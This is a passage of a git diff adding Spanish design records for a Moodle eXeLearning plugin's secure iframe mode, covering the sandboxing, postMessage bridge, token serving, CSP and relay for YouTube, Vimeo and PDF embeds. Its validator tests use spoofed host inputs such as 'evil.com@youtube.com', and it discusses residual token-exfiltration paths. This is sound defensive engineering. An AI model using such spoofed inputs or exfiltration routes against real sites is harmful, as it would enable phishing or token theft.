+hijo→padre:  { exelearningBridge:<nonce>, type:'scorm', action:'ready'|'track',
+               cmi:{...}, itemscores:{ <objectid>:{scorepct,weighted,title} } }
+padre→hijo:  { exelearningBridge:<nonce>, type:'scorm', action:'config'|'ack',
+               teachermodevisible:0|1 }
+```
+
+Handshake: el iframe carga → el shim postMessea `ready` → el padre valida
+`event.source === iframe.contentWindow`, responde `config` con el `nonce` + el flag de
+teacher-mode → los `track` posteriores llevan el `nonce` y el padre revalida `source`.
+Validación del padre (defensa en profundidad; `track.php` revalida y clampa
+server-side): identidad de ventana (ancla primaria) + `type==='scorm'` + `action` en
+lista cerrada + `nonce` + forma del payload (`cmi` objeto). Mensajes desconocidos o
+inválidos se ignoran en silencio. El flush al cerrar pestaña lo hace el **padre** con
+`navigator.sendBeacon` en `pagehide` (same-origin, fiable), no un XHR síncrono.
+
+## Consecuencias
+
+- **Positivas:** RIE-001 pasa a `mitigado` por defecto. El contenido no puede leer
+  `parent.document`/`document.cookie`/sesión ni forjar peticiones con el `sesskey`
+  (que se queda en el padre). El ruteo por `objectid` (DEC-0017) y el guard de
+  form/scrambled (DEC-0042) se preservan. El flush por `sendBeacon` es más fiable que
+  el XHR síncrono en `beforeunload`.
+- **Negativas / coste:** mayor superficie JS (shim + relevo, ambos con tests Vitest);
+  el almacenamiento web del contenido pasa a ser por-sesión (no persiste entre
+  recargas) en modo seguro; al quitar `allow-popups-to-escape-sandbox` se pierde el
+  `window.print()` del popup de la rúbrica (regresión conocida de DEC-0019 M1). El
+  modo `legacy` cubre cualquier paquete que falle bajo origen opaco.
+- **Cambios que dispara:** RIE-001 → `mitigado`; abre TAREA-017 (implementación) y deja
+  como follow-up opcional M2 (Permissions-Policy) y M3 (CSP de red con toggle).
+
+## Riesgos
+
+- **RIE-001** — pasa a `mitigado` (modo seguro por defecto). Residuo aceptado:
+  organizaciones que activen `legacy` por compatibilidad vuelven al riesgo same-origin.
+- **Compatibilidad de origen opaco:** verificar en Chrome y Firefox reales que el
+  polyfill (`Object.defineProperty(window,'localStorage',…)`) sustituye el getter
+  nativo (la configurabilidad varía entre motores; el shim degrada con try/catch).
+- **Behat de grading `@javascript`:** el escenario que usa `window.API.LMSSetValue`
+  asume el API en el padre; en `secure` vive en el iframe → adaptar o apoyarse en el
+  paso server-side `the following eXeLearning SCORM scores exist` (mode-agnóstico).
+
+## Limitación conocida (entornos PHP-WASM / service worker)
+
+Los playgrounds PHP-WASM (p. ej. el Moodle Playground en GitHub Pages) sirven
+`pluginfile.php` mediante un **service worker**. Un service worker **NO controla
+iframes de origen opaco** (sandbox sin `allow-same-origin`), así que en modo `secure`
+la petición del iframe a `content/<rev>/index.html` no la intercepta el SW, cae al
+hosting estático y devuelve 404 (verificado por HAR: `_fetchedViaServiceWorker:false`,
+`server: GitHub.com`, `x-cache: HIT`). Además ese 404 lo cachea el CDN, así que tras
+un intento en `secure` el modo `legacy` puede seguir mostrando el 404 cacheado en la
+misma pestaña hasta recargar en limpio. **Mitigación:** el `blueprint.json` del
+Playground fuerza `iframemode=legacy`. En un Moodle real `pluginfile.php` es un
+endpoint de servidor y el iframe de origen opaco lo carga con normalidad, así que el
+modo `secure` por defecto funciona; la limitación es exclusiva de los hosts WASM/SW.
+
+## Validación
+
+- `php -l` limpio; **phpcs `--standard=moodle` 0/0** sobre los ficheros tocados.
+- **Vitest 40/40 verde** (`make test-js`): 16 del tracker (sin regresión por
+  `transport`) + 24 nuevos en `tests/js/scorm_bridge.test.js` (shim: polyfill de
+  storage, detección de origen opaco, handshake, cola pre-nonce, identidad de fuente,
+  ocultado teacher-mode; relevo: validadores puros, identidad de ventana, nonce, forma,
+  cuerpo a `track.php`, `sendBeacon`).
+- **PHPUnit** `tests/player_iframe_test.php` (`@covers \mod_exelearning\local\ui\
+  player_iframe`): default secure, fail-safe ante valor inválido, legacy respetado,
+  tokens del sandbox por modo (sin `allow-same-origin`/`allow-top-navigation`/
+  `allow-modals` en secure). Se ejecuta en contenedor/CI (PHPUnit no corre en host).
+- **Behat** (CI): grading e2e en modo secure + escenarios de report (mode-agnósticos).
+
+## Actualización (2026-06-28): teacher-mode por parámetro core + relación con el bridge de medios
+
+- **Teacher-mode ya no depende del bridge.** Esta ADR ocultaba el conmutador de profesor en `secure`
+  con el **flag del handshake** (`teachermodevisible` en `config`, líneas 124/131/145) porque en opaco
+  el padre no puede inyectar CSS. Desde [[DEC-0066]] (PR 86) la **revelación** del contenido de profesor
+  la gobierna el **parámetro core `?exe-teacher`** que viaja en el `src` y el paquete lee desde dentro
+  del iframe — compatible con origen opaco y **sin** inyección. La ocultación vía flag del bridge (y el
+  hider `contentDocument` de legacy) quedan **superseded** para ese fin; el flag puede mantenerse por
+  compatibilidad pero la fuente de verdad es el parámetro de URL.
+- **Dos handshakes distintos.** El bridge **SCORM** de esta ADR (`type:'scorm'`) y el de **medios
+  externos / embeds** ([[DEC-0061]], `type:'exe-embed'`) son **canales independientes** (no se pisan;
+  tipos de mensaje distintos, relés separados). [[DEC-0067]] **alinea ambos** al patrón endurecido
+  **nonce por vista + `MessagePort` con capability** (el de SCORM ya usa nonce; el de embeds lo
+  incorporará), y el de xAPI ([[DEC-0065]]) sigue la misma disciplina de identidad de ventana.
+
+## Seguimiento
+
+- **TAREA-017**: implementación del bridge seguro (esta ADR).
+- Follow-up opcional: **M2** Permissions-Policy y **M3** CSP de red estricta-con-toggle
+  en `exelearning_pluginfile()` (DEC-0019); **M8** sandboxing de JS en cliente
+  (TAREA-013) sigue pendiente como capa extra.
diff --git a/research/decisiones/adr/DEC-0060-iframe-seguro-tokenpluginfile.md b/research/decisiones/adr/DEC-0060-iframe-seguro-tokenpluginfile.md
new file mode 100644
index 0000000..c1f9997
--- /dev/null
+++ b/research/decisiones/adr/DEC-0060-iframe-seguro-tokenpluginfile.md
@@ -0,0 +1,152 @@
+---
+id: DEC-0060
+titulo: "Modo iframe seguro funcional: servir el contenido opaco por tokenpluginfile + CSP + watchdog (corrige la Ruta A de DEC-0059)"
+estado: Aceptada
+fecha: 2026-06-13
+agentes:
+  - erseco
+  - claude-code
+fuentes:
+  - REPO-002
+  - REPO-004
+relacionados:
+  - DEC-0059
+  - DEC-0019
+  - RIE-001
+  - AN-008
+  - DEC-0017
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Contexto
+
+DEC-0059 implementó el modo `secure` (iframe de origen opaco + bridge SCORM por
+postMessage) sirviendo el contenido por `pluginfile.php` normal (Ruta A de DEC-0019).
+La verificación en navegador (Chrome DevTools, Moodle real en `:80`) **refutó esa
+Ruta A**: el `index.html` cargaba pero **todos los subrecursos (CSS/JS, incluido el
+shim) daban 404**, dejando el contenido sin estilos y el SCORM sin `window.API`.
+
+## Problema (causa raíz verificada)
+
+La cookie de sesión de Moodle es **`SameSite=Lax`** por defecto
+(`lib/classes/session/manager.php:513-518`). Un documento de **origen opaco** (iframe
+`sandbox` sin `allow-same-origin`) tiene "site for cookies" nulo, así que **no envía
+la cookie de sesión en sus peticiones de subrecursos**. Como `exelearning_pluginfile()`
+exige `require_login()`, esos subrecursos se rechazan (302/403) → 404 efectivo. El
+`index.html` sí carga porque su navegación la inicia el padre (lleva cookie Lax). →
+**Aislar contenido same-origin autenticado del padre con solo el atributo `sandbox` es
+imposible:** con `allow-same-origin` el contenido alcanza el padre (RIE-001); sin él,
+no carga sus assets. (Por eso el core nunca usa origen opaco para contenido
+autenticado; `wp-franer` puede porque inyecta el contenido inline con `srcdoc`, inviable
+para un paquete eXeLearning multi-fichero.)
+
+## Investigación de alternativas (con evidencia)
+
+| Vía | ¿Aísla del padre? | ¿Carga assets/SCORM? | ¿En-plugin? | Veredicto |
+|---|---|---|---|---|
+| Legacy (same-origin) | No | Sí | Sí | RIE-001 abierto (fuga de sesskey/DOM) |
+| **A · Token + opaco + bridge** | **Sí** | **Sí** | **Sí** | **Elegida** |
+| B · Origen separado (subdominio) | Sí (real) | Sí | No (infra) | Fuera de alcance |
+| C · Sandbox JS en cliente (M8) | — | No (rompe el contenido) | Sí | Inviable |
+
+- **Token (Opción A):** `make_pluginfile_url(..., $includetoken=true)` genera
+  `/tokenpluginfile.php/<token>/…` con `get_user_key('core_files', $userid)`. El token
+  va en la **ruta**, así que los subrecursos relativos del iframe opaco lo arrastran y
+  cargan **sin cookie de sesión**. `tokenpluginfile.php` valida el token
+  (`require_user_key_login('core_files')`) y **sigue ejecutando** las comprobaciones de
+  capacidad del callback (`exelearning_pluginfile` → `require_capability('mod/
+  exelearning:view')`). El token es de **solo lectura de ficheros**: NO da poder de
+  `sesskey` (ni acciones ni forms). **Precedente en core:** el propio H5P usa
+  `includetoken` cuando va embebido (`h5p/classes/player.php:429`). Requiere
+  `slasharguments` (token en ruta); on por defecto.
+- **Origen separado (B):** no hay mecanismo en core; la URL está fijada a
+  `$CFG->wwwroot` (`lib/classes/url.php:747,754`). Exigiría reverse-proxy + un eTLD+1
+  distinto para que la cookie no llegue al contenido. Aislamiento máximo, pero infra
+  fuera del plugin. Documentado como futuro.
+- **M8 (sandbox JS):** inviable. El contenido exportado necesita DOM real + jQuery +
+  Bootstrap + bucle de eventos; ShadowRealm/Worker no tienen DOM y un shim WASM (+100KB)
+  lo haría inmanejable. El único acceso cross-frame es la API SCORM (ya intermediada).
+
+## Decisión
+
+Implementar la **Opción A endurecida** como modo `secure` (default), corrigiendo el
+mecanismo de servido de la Ruta A de DEC-0059 (el resto de DEC-0059 —ajuste
+`iframemode`, bridge postMessage, sandbox sin same-origin/popups-to-escape— sigue
+vigente):
+
+1. **Servir el iframe por `tokenpluginfile`** (token `core_files` de **TTL corto**,
+   redondeado a la hora para reutilizarse; `view.php`). Los assets cargan sin cookie;
+   el iframe sigue opaco (el contenido no puede tocar DOM/cookies/sesskey del padre).
+2. **CSP + Permissions-Policy** desde `exelearning_pluginfile()` (solo modo secure,
+   solo el documento HTML; `send_stored_file` no las borra). Endurece sin romper
+   eXeLearning (que necesita inline + eval): `object-src 'none'`, `base-uri 'none'`,
+   `frame-ancestors 'self'`, y `connect-src` acotado a este sitio (corta exfiltración
+   del token por fetch/XHR). `\mod_exelearning\local\ui\player_iframe`.
+3. **NO degradar en silencio a legacy.** Si secure no puede renderizar (slasharguments
+   off, o un host con service worker que no sirve iframes opacos —p. ej. el Playground
+   PHP-WASM), el shim nunca emite `ready` y el **watchdog del relay** muestra el aviso
+   "configuración de seguridad impide mostrar este contenido; contacte al admin"
+   (`securemodeblocked`), en vez de caer a same-origin. El admin elige legacy de forma
+   explícita si lo desea. El watchdog usa **dos señales** para no dejar el aviso detrás
+   de una espera larga en blanco: en cuanto el elemento iframe dispara `load` (que ocurre
+   **también** cuando la navegación acaba en una página de error —el 404 del host con SW—)
+   concede solo una **gracia corta** (~2,5 s) para el handshake; si `load` nunca llega,
+   cae a un tope mayor (8 s). Así el aviso aparece justo tras el fallo de carga, no tras
+   una ventana de varios segundos en la que el contenido "parecía" cargar.
+4. **Self-heal del bridge:** los paquetes extraídos antes de DEC-0060 no tienen el shim
+   en `libs/`; `view.php` los re-extrae una vez (idempotente) para que secure funcione
+   sin re-subir.
+
+## Consecuencias
+
+- Positivas: el modo seguro **funciona de verdad** en Moodle real (verificado en
+  navegador) y aísla el contenido del padre. RIE-001 mitigado por defecto. El contenido
+  recibe un token de **solo-lectura de ficheros** en vez del `sesskey` → estrictamente
+  más seguro que legacy. No hay degradación silenciosa de seguridad.
+- Negativas / coste: el token (aunque de solo lectura y TTL corto) queda visible en la
+  URL del contenido; el CSP `connect-src` corta su exfiltración por fetch, pero un
+  `<img>/<script>` a `https:` externo podría sacarlo (mitigado por el TTL; un perfil CSP
+  estricto que lo cierre del todo rompería MathJax/YouTube → toggle futuro). El
+  Playground (y cualquier host con SW) **no puede** servir secure y muestra el aviso.
+- Dispara: corrige la Ruta A de DEC-0059; RIE-001 → mitigado. Futuro: Ruta B
+  (subdominio/infra) para aislamiento máximo; toggle CSP estricto.
+
+## Riesgos
+
+- **RIE-001 — mitigado** (modo seguro por defecto, funcional). Residuo: token de
+  ficheros expuesto al contenido (acotado por CSP + TTL); legacy opt-in reabre el
+  riesgo same-origin.
+- **Compatibilidad:** `slasharguments` debe estar on (default); si no, el watchdog
+  muestra el aviso. Hosts con service worker (Playground) no pueden secure.
+
+## Validación
+
+- **Chrome DevTools en Moodle real (`:80`):** iframe opaco + servido por
+  `tokenpluginfile` (origen `null`, `SecurityError` al leer `contentWindow` desde el
+  padre); CSS/JS cargan; el shim emite `ready`; el relay valida e `init` no lanza;
+  **`track.php` responde `{ok:true, rawscore:100, peritem:{1:100}}`** (guarda la nota);
+  el watchdog NO salta cuando secure funciona y el contenido renderiza con estilos.
+- **Chrome DevTools en el Playground PHP-WASM (confirmación empírica 2026-06-13):** el
+  iframe se construye en secure (sandbox `allow-scripts allow-popups allow-forms`, origen
+  opaco — `SecurityError` al leer `contentWindow`), pero la petición
+  `tokenpluginfile.php/<token>/<ctx>/mod_exelearning/content/1/index.html` devuelve **404**
+  (el service worker no controla subframes opacos, así que la URL cae a GitHub Pages). El
+  shim nunca emite `ready` → el watchdog **sí** muestra el aviso `securemodeblocked` y
+  oculta el iframe. El token **no** ayuda aquí: el bloqueo es el SW, no la cookie. Esto
+  confirma la "Limitación conocida": el Playground no puede servir secure y avisa (no
+  cae a legacy). La sensación de "funciona sin aviso" era el retardo del watchdog (ahora
+  ligado al `load`) más que el aviso quedaba bajo el pliegue.
+- **phpcs `--standard=moodle` 0/0**; **Vitest 52/52** (shim, relay, watchdog —incluida la
+  ruta rápida por `load`—, storage); PHPUnit `player_iframe_test` (modo, tokens sandbox,
+  CSP, Permissions-Policy) en contenedor/CI. PHPUnit/Behat completos en CI.
+
+## Seguimiento
+
+- Toggle de admin para un CSP estricto (cerrar exfiltración del token por img/script a
+  costa de contenido externo).
+- Ruta B (subdominio dedicado eTLD+1 + reverse-proxy) como aislamiento máximo, fuera del
+  plugin (DEC-0019 M7 Route B).
+- Confirmar en CI la matriz PHPUnit/Behat y, si procede, un escenario Behat de grading
+  en modo secure (entrando al frame del paquete).
diff --git a/research/decisiones/adr/DEC-0061-embeds-externos-promote-to-parent.md b/research/decisiones/adr/DEC-0061-embeds-externos-promote-to-parent.md
new file mode 100644
index 0000000..2260d52
--- /dev/null
+++ b/research/decisiones/adr/DEC-0061-embeds-externos-promote-to-parent.md
@@ -0,0 +1,302 @@
+---
+id: DEC-0061
+titulo: "Embeds externos en modo seguro: promover YouTube/Vimeo/PDF al padre (overlay inline) — standalone, sin subdominio"
+estado: Aceptada
+fecha: 2026-06-14
+agentes:
+  - erseco
+  - claude-code
+fuentes:
+  - RIE-001
+relacionados:
+  - DEC-0059
+  - DEC-0060
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Contexto
+
+El modo seguro ([[DEC-0059]] + [[DEC-0060]]) sirve el `.elpx` en un iframe de **origen opaco**
+(`sandbox` sin `allow-same-origin`, servido por `tokenpluginfile`), de modo que el HTML/JS no
+confiable del autor no puede leer la sesión/DOM de Moodle. El precio es que **el contenido externo
+embebido deja de funcionar**:
+
+- **YouTube/Vimeo salen EN BLANCO.** La flag de sandbox se **propaga al iframe anidado** del player,
+  que pierde su origen `youtube.com`/`vimeo.com` y no arranca. Verificado empíricamente y por la
+  especificación HTML; no hay primitiva de navegador (credentialless, fenced frames, COEP/COOP,
+  `referrerpolicy`…) que lo arregle desde dentro del sandbox.
+- **Los PDF tampoco renderizan.** Chrome bloquea su visor (PDFium) en un iframe sandboxed sin
+  `allow-same-origin`. Afecta a PDF remotos **y** a los empaquetados en el `.elpx`.
+
+Cómo lo resuelven otros: Moodle (filter/media) y la mayoría de plugins **embeben YouTube directo, sin
+sandbox**, confiando en el autor; H5P no ejecuta JS de autor. La única vía "clásica" para aislar +
+embeber sería servir el contenido desde un **origen separado (subdominio)** → iframe cross-origin sin
+sandbox opaco. **erseco descartó el subdominio** (requisito: el plugin debe funcionar *standalone*) y
+descartó degradar a `legacy` para los vídeos ("hay que encontrar la forma de que se vean").
+
+## Decisión
+
+**Promote-to-parent con overlay inline.** El contenido sigue aislado en el sandbox opaco; un **shim**
+inyectado en el paquete detecta los iframes de hosts en **lista blanca** (vídeo) o con ruta `.pdf`,
+los sustituye por un **placeholder** del mismo tamaño y **reporta su geometría** al padre por
+`postMessage`. Un **relay** en la página de Moodle (contexto de confianza) **valida + reconstruye** la
+URL y **superpone el reproductor real** —que él renderiza en su propio contexto, con origen real, así
+que funciona— **en el sitio exacto** del placeholder, sincronizado con el scroll. El player es
+cross-origin (o un PDF del paquete servido como `application/pdf`) y no puede tocar el host; la lista
+blanca + la validación estricta impiden que el contenido haga al padre cargar una URL arbitraria.
+
+| Pieza | Cambio |
+|---|---|
+| `js/exe_embed_shim.js` (nuevo) | Corre DENTRO del iframe. Se **auto-activa solo en origen opaco** (`isOpaqueOrigin()`: `document.cookie` lanza / `window.origin==='null'`), así que el mismo fichero horneado queda **dormido en modo legacy**. Reemplaza iframes whitelisted/`.pdf` por un placeholder (`data-exe-embed-id` + url **absoluta**, resuelta contra la ubicación del contenido, mismo w/h) y reporta `{id,url,x,y,w,h}` en load/scroll/resize/mutation (rAF). Dual-export `window.exeEmbedShim` + `module.exports` (Vitest). |
+| `js/exe_embed_relay.js` (nuevo) | Corre en el padre. Valida cada URL reportada: `new URL()`, rechaza userinfo (`@`), host exacto contra la lista, exige patrón de id (`/embed/{id}` YT, `/video/{id}` Vimeo) y **reconstruye** la URL canónica (nunca pasa la del contenido tal cual). Crea/posiciona un `<iframe>` player overlay clampado al iframe de contenido. Autentica por `event.source === iframe.contentWindow` (el origen opaco no da `event.origin` útil). |
+| `classes/local/package_manager.php` | Copia `js/exe_embed_shim.js` a `libs/exe_embed_shim.js` del paquete (plugin-owned, refrescado en cada extracción). |
+| `classes/local/scorm/scorm_injector.php` | Hornea `<script>window.__exeEmbedWhitelist=…</script>` + `<script src="libs/exe_embed_shim.js">` al inicio del `<head>` de **todo** HTML del paquete (marker `embed-shim`, idempotente). Independiente del bridge SCORM (reusa la misma iteración de extracción, [[DEC-0054]]). |
+| `classes/local/ui/player_iframe.php` | `embed_whitelist()` + `DEFAULT_EMBED_HOSTS` (YouTube/Vimeo). La CSP ya permitía `frame-src 'self' $siteorigin https:`. |
+| `view.php` | Inyecta el relay **inline** en el bloque `if ($securemode)` (independiente de SCORM, para todo paquete seguro), igual que el relay del bridge, para que su listener esté instalado antes de que cargue el iframe. |
+
+Decisiones de diseño confirmadas por erseco:
+
+1. **UX = overlay inline, NO modal/lightbox** ("aunque tengamos el riesgo debería ser inline"). El
+   player se ve en su sitio y se reproduce ahí; con scroll el overlay sigue al hueco.
+2. **PDFs = los locales del paquete siempre + cualquier `https` `.pdf`** (regla por extensión, sin
+   lista blanca de host para PDF). **Invariante de seguridad:** un `.pdf` *same-origin* solo se
+   renderiza si pertenece a este paquete (su path está bajo el directorio del contenido **o** contiene
+   el hash del paquete como segmento). Como `tokenpluginfile` sirve los ficheros del paquete por
+   extensión (`application/pdf`) con `X-Content-Type-Options: nosniff`, un `.pdf` del paquete nunca es
+   HTML ejecutable; y una URL same-origin ajena (p.ej. `/admin/x.pdf`) se rechaza.
+3. **`referrerpolicy`** del player: `strict-origin-when-cross-origin` para vídeo (evita YouTube Error
+   153), `no-referrer` para PDF. El iframe de CONTENIDO mantiene su `no-referrer`.
+4. **Solo en secure.** En legacy el contenido es same-origin, el shim queda dormido y los players ya
+   van inline.
+
+Lista blanca por defecto: `www.youtube.com`, `youtube.com`, `www.youtube-nocookie.com`,
+`youtube-nocookie.com`, `player.vimeo.com`, `vimeo.com`.
+
+## Consecuencias
+
+- El modo seguro deja de **degradar la UX** del contenido que abre recursos externos: YouTube, Vimeo y
+  PDF (remotos y empaquetados) se ven inline sin sacrificar el aislamiento ni exigir un subdominio.
+- Las imágenes y el vídeo HTML5 externos ya cargaban por CSP (`img-src/media-src … https:`); esto solo
+  añade los casos que el sandbox rompía (iframes de player + PDF).
+- La feature pertenece a la **familia eXeLearning**: el mismo JS (shim + relay, misma lógica) está en
+  wp-exelearning (PR #56) y omeka-s-exelearning (PR #21). Diferencia de cableado: **mod hornea** el
+  shim en la extracción y **inlina** el relay en `view.php`; wp/omeka lo inyectan a la hora de servir.
+- El bridge SCORM ([[DEC-0059]]) no se ve afectado: usa otro tipo de mensaje (`scorm` vs `exe-embed`)
+  y su relay sigue independiente.
+
+## Riesgos
+
+- **Clickjacking del overlay (aceptado por erseco).** El player se superpone al área del contenido.
+  Mitigaciones: el overlay lo **controla el padre** (el contenido solo reporta geometría + URL, no
+  inyecta nada), se **clampa a los límites del iframe de contenido** (no puede cubrir la toolbar/UI de
+  Moodle) y el player es **cross-origin** (no puede leer ni clicar el host). Geometría absurda
+  (no finita) se descarta.
+- **Render de URL arbitraria por el padre** → contenida por la lista blanca de host + reconstrucción
+  de URL + rechazo de userinfo/patrón (salvaguarda de RIE-001, familia del modo seguro). Para PDF, la
+  apertura es a un visor (no ejecuta como la página) y el caso same-origin queda atado a ficheros del
+  propio paquete.
+- **`targetOrigin: '*'`** en el `postMessage` del shim: aceptable porque no viaja ningún secreto y el
+  padre autentica por `event.source` (el origen opaco no ofrece `event.origin` usable).
+
+## Validación
+
+- **Vitest** `tests/js/exe_embed.test.js` (14 tests): el validador acepta `youtube.com/embed/{id}`,
+  `youtube-nocookie`, `player.vimeo.com/video/{id}` y **reconstruye** la URL canónica; **rechaza**
+  `youtube.com.evil.com`, `evil.com@youtube.com`, esquema no-https, id inválido; PDF cross-origin
+  `https` se acepta, PDF same-origin solo si es del paquete (dir/hash), `/admin/x.pdf` se rechaza; el
+  shim produce placeholder para video/PDF y deja intacto un iframe no permitido.
+- **Regresión SCORM (que no se rompa la puntuación)** — el modo seguro ahora carga **a la vez** el
+  bridge SCORM y el shim/relay de embeds; deben convivir:
+  - Vitest `tests/js/embed_scorm_coexistence.test.js` (4 tests): los 5 globals (tracker + shim/relay
+    SCORM + shim/relay embed) quedan definidos y distintos (sin pisarse); el relay SCORM **sigue
+    aceptando** un mensaje `track` (`acceptTrack` con nonce correcto) con los módulos de embed
+    cargados, y rechaza el nonce erróneo; ambos canales se ignoran mutuamente (`scorm` vs `exe-embed`).
+  - PHPUnit en el contenedor vivo (`make test` / `phpunit-docker.sh`): **119 tests OK** sobre
+    `track_test` (endpoint que **guarda la puntuación**), `scorm_injector_test` (mi cambio: hornea
+    bridge + embed, idempotente), `grades_test`/`lib_grades_test`/`gradeitems_test`/`grademodel_test`.
+- **PHPUnit** `tests/local/scorm/scorm_injector_test.php`: asserts de que el marker `embed-shim`, el
+  global `__exeEmbedWhitelist` y `libs/exe_embed_shim.js` se hornean en `index.html` y en las páginas
+  anidadas (`../libs/…`), idempotente, **sin perder** el bridge SCORM ni el wrapper pipwerks.
+- **`phpcs --standard=moodle`** 0/0 sobre `player_iframe.php`, `package_manager.php`,
+  `scorm_injector.php`, `view.php` y los tests.
+- **Verificación en vivo** (contenedor `mod_exelearning_3-moodle-1`, `iframemode=secure`):
+  - **Embeds**: una actividad desde `research/fixtures/elpx/external-embeds-demo.elpx` renderiza
+    **4 players inline** (YouTube, Vimeo, PDF remoto y **PDF local del paquete**) sobre el iframe de
+    contenido opaco (servido por `tokenpluginfile`); el iframe `example.com` NO se promueve.
+  - **SCORM scoring (lo más importante)**: respondido un iDevice calificable, el endpoint real
+    `track.php` devuelve `{"ok":true,"attempt":1,"rawscore":100,"status":"completed","peritem":{"1":100,"2":100}}`;
+    quedan 3 filas en `exelearning_attempt` (overall + 2 ítems), el gradebook marca `finalgrade=100` en
+    ambos ítems, el informe de intentos lista el intento y la actividad pasa a "Hecho: recibir
+    calificación". **El shim de embeds NO rompe el scoring** (es independiente del bridge).
+- **Bug encontrado y corregido en la prueba en navegador**: mod sirve los assets del paquete con URLs
+  **relativas** (a diferencia del proxy de wp/omeka que reescribe a absolutas), así que el shim debe
+  **reportar la URL ABSOLUTA** (resuelta contra la ubicación del contenido) — el relay del padre no
+  puede resolver una relativa (la resolvería contra la página host). Fix en el shim de los 3 plugins +
+  test de regresión Vitest (`exe_embed.test.js`: una src relativa se reporta absoluta).
+- **Fixtures**: `research/fixtures/elpx/{youtube-embed,vimeo-embed,external-embeds-demo}.elpx` (el
+  último con PDF remoto + PDF local empaquetado + imagen/vídeo remotos + un iframe no-whitelist).
+
+## Actualización (2026-06-14): re-validación con export real, proveedores, tokens y fix de navegación
+
+### Re-validación de la NECESIDAD con un export real
+Las fixtures sintéticas iniciales (`index.html` a mano) no eran representativas. Con un **export real
+de eXeLearning** (`research/fixtures/elpx/remote-embeds.elpx`: `index.html` + `html/{vimeo,
+mediatecamadrid,remote-pdf}-embed.html`) se repitió el experimento de control en mod (secure):
+- shim **activado** → el vídeo de YouTube renderiza y reproduce;
+- shim **desactivado** (control) → caja en **blanco**.
+
+Causa confirmada en 4 ejes: (1) **no es CSP** — `frame-src 'self' … https:` permite YouTube
+(`player_iframe.php:171`), sin error CSP en consola; (2) es la **propagación del origen opaco** al
+iframe anidado del player; (3) por especificación un contexto de navegación anidado no puede tener
+*menos* restricciones que su padre; (4) lo único que lo "arregla" es `allow-same-origin`, que rompe el
+aislamiento. **No hay alternativa más simple que preserve la seguridad: el overlay promote-to-parent es
+la solución mínima.** (La duda razonable de erseco quedó así verificada, no asumida.)
+
+### Proveedores añadidos
+**Dailymotion** (`www/geo.dailymotion.com`, embed `/embed/video/{id}`) y **EducaMadrid / Mediateca de
+Madrid** (`mediateca.educa.madrid.org`, embed `/video/{id}/fs`), cada uno con validador por proveedor
+que **reconstruye** la URL canónica (nunca pasa la del contenido tal cual). Verificado en vivo
+(EducaMadrid renderiza inline en mod y omeka).
+
+### Alineación de tokens del sandbox (los 3) + fix de CSP oculto
+Token seguro canónico = `allow-scripts allow-popups allow-forms` (los iDevices de eXe usan
+formularios). wp/omeka **no tenían `allow-forms`** ni en el atributo del iframe ni — más grave — en la
+**directiva CSP `sandbox`** del contenido servido (`class-content-proxy.php`, `ContentController.php`,
+hardcodeadas). Sin `allow-forms` en la CSP, el envío de formularios se bloquea aunque el iframe lo
+permita (el sandbox efectivo es la *intersección* de ambos). Corregido en los dos + tests. Legacy
+alineado a `…allow-forms allow-popups-to-escape-sandbox`.
+
+### Bug de navegación entre páginas (reportado por erseco) + fix
+Al paginar contenido eXe multi-página, el embed de la página anterior **quedaba pegado** en la nueva
+(p.ej. YouTube persistía en la página de Vimeo, reescalado a su caja). Causa: el shim **reinicia su
+contador de id por página**, así que el primer embed de cada página reusa `exe-embed-1`; el relay
+reutilizaba el player existente y solo lo reposicionaba, **sin actualizar su `src`**. Reproducido en
+vivo (la altura cambiaba a la de Vimeo pero el `src` seguía en YouTube). Fix: cada player se etiqueta
+con `data-exe-embed-src`; en `sync()` se **reemplaza** cuando un id reusado apunta a otra URL. Test de
+regresión Vitest + verificado en vivo en los 3 (mod: youtube→vimeo→mediateca→pdf cambian limpiamente;
+wp y omeka, idem; el atributo del fix presente en el relevo servido).
+
+### Anti-drift
+La lógica de shim/relay es idéntica en los 3 (solo cambia el envoltorio de export). mod es la **fuente
+canónica** (`js/exe_embed_{shim,relay}.js`); wp/omeka llevan cabecera "MIRROR". `tools/check-embed-sync.mjs`
+normaliza y compara la lógica + whitelist + tokens de las 3 copias y sale ≠0 si divergen (herramienta
+de mantenimiento local, no gate CI cross-repo: no hay infra compartida).
+
+### Limitación conocida: iDevice de vídeo interactivo con fuente remota
+El iDevice **vídeo interactivo** con fuentes remotas (YouTube/EducaMadrid) usa la **YouTube
+IFrame Player API** (`new YT.Player` + `getCurrentTime`/`pauseVideo`/`seekTo`, 8 llamadas de
+control en `idevices/interactive-video/interactive-video.js`) para pausar el vídeo y mostrar
+preguntas cronometradas. En modo seguro esto **no funciona**: (1) en origen opaco el player
+de YouTube no renderiza dentro del iframe; (2) promoverlo al padre (promote-to-parent) lo
+**desacopla del control** del iDevice, que vive en el hijo opaco → sin pausa/seek/tiempo, las
+preguntas no disparan.
+
+Se prototipó un **bridge de control YT** en el embedder (un `window.YT` falso en el hijo que
+proxyea a un player real en el padre). Verificado en vivo: el vídeo **reproduce** y la
+pregunta **aparece y se responde** en el segundo configurado. Pero **reconstruir el layout
+del iDevice desde el padre — portada/`Inicio`, `float:left` de `#player` al activar
+(`interactive-video.css` `.active #player{float:left}`), la posición de cada slide — es
+frágil** (el vídeo aterriza mal y el solapamiento vídeo/pregunta no cuadra). **Decisión
+(erseco): NO mantener el bridge en el embedder** (revertido, no commiteado).
+
+- **Estado en secure:** vídeo interactivo con fuente **remota** → usar **modo legacy**. Con
+  fuente **local** (archivo del paquete, HTML5 `<video>`) funciona en secure (corre en el
+  marco, sin player cross-origin).
+- **Arreglo correcto (pendiente upstream):** está en el **iDevice de eXeLearning**, que conoce
+  su propio layout: detectar origen opaco (`window.origin==='null'`) y o bien **degradar** (embed
+  simple → lo promociona el shim existente, sin interactividad) o **conducir él mismo** un relay
+  del padre. Más simple y robusto que parchear en los 3 embedders.
+
+## Actualización (2026-06-14b): invariante estructural — embeds sin lista blanca (open por defecto)
+
+### Reversión razonada del "sin whitelist no es seguro"
+La actualización anterior concluyó "sin lista blanca no es seguro" por analogía con Moodle media / WP
+oEmbed. **Esa conclusión era incorrecta para ESTE modelo de amenaza y se corrige.** Moodle/WP embeben
+en páginas de CONFIANZA same-origin; aquí el contenido es NO confiable + opaco, y el player promovido es
+**cross-origin y sandboxeado**, así que la SOP lo aísla del LMS **independientemente del host**. El host
+es irrelevante para el ESCAPE; la lista blanca solo mitigaba **phishing/tracking** (marginal: el
